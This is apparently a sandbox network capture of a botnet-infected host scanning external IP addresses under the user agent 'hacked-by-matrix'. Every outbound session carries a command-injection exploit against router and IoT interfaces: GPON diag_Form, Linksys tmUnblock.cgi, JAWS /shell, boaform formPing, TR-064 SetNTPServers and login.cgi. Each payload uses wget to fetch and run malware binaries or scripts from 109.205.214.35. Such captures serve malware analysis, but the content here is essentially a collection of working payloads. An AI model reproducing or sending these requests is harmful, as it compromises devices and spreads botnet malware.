Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	48744	3.34.13.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.174974918 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:32.924582005 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:35.228257895 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:35.565897942 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:17:35 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	48794	172.65.58.97	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.289596081 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	59642	172.65.207.86	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.478885889 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	47316	213.159.208.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.525832891 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:32.604691029 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:32.809444904 CET	181	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	41808	172.65.147.196	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.567001104 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	54834	98.204.16.136	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.829430103 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	35016	213.243.31.81	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.834526062 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	57096	119.101.148.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.836045980 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:32.217114925 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	55706	172.8.212.65	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.842684984 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	44170	104.232.99.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:31.905239105 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.23	60950	213.120.109.98	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.043632030 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.23	41108	213.199.253.110	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.043674946 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.23	37814	118.237.248.27	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.375833988 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:35.526323080 CET	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.23	55266	201.76.88.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.655385971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.23	38470	64.127.187.99	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.655472994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:32.840251923 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:17:48 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.23	45242	212.93.121.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.801062107 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:35.996153116 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:42.139298916 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:54.169684887 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:18.742279053 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.23	55272	201.76.88.230	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.900098085 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.23	40424	178.62.198.130	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.907282114 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:33.453192949 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:33.981112003 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:34.182367086 CET	577	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:17:34 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.26 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 200 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 35 8f 31 0e c2 30 0c 45 67 7a 0a 93 bd 58 15 0b 85 b4 0b 30 c3 c0 c2 18 5a 43 22 b5 09 24 86 96 db 93 50 98 be 6c bd e7 2f cb f9 ee b0 3d 9d 8f 7b d0 dc 77 75 26 53 c0 d8 77 36 54 42 33 df d7 88 c3 30 2c 86 e5 c2 f9 1b 16 65 59 e2 98 18 91 58 52 6d 8c 9e 58 41 62 73 7a 3c cd ab 12 5b 67 99 2c e7 a7 f7 9d 04 34 d3 54 09 a6 91 31 b9 1b 68 b4 f2 81 b8 7a f2 35 5f 09 c0 3a 9b 49 36 dc 51 bd 53 ac 2e 2a 10 ec bd 77 5e e2 b4 cd 32 89 bf b6 8b 6b df 09 d7 45 fd 45 80 42 34 3a 13 b4 b1 37 50 d0 fe 0f c4 5e 4b 0d 1b 67 a3 5b 44 13 27 55 e2 f4 ea 07 9b 41 bb 2e fb 00 00 00 Data Ascii: 510EgzX0ZC"$Pl/={wu&Sw6TB30,eYXRmXAbsz<[g,4T1hz5_:I6QS.*w^2kEEB4:7P^Kg[D'UA.
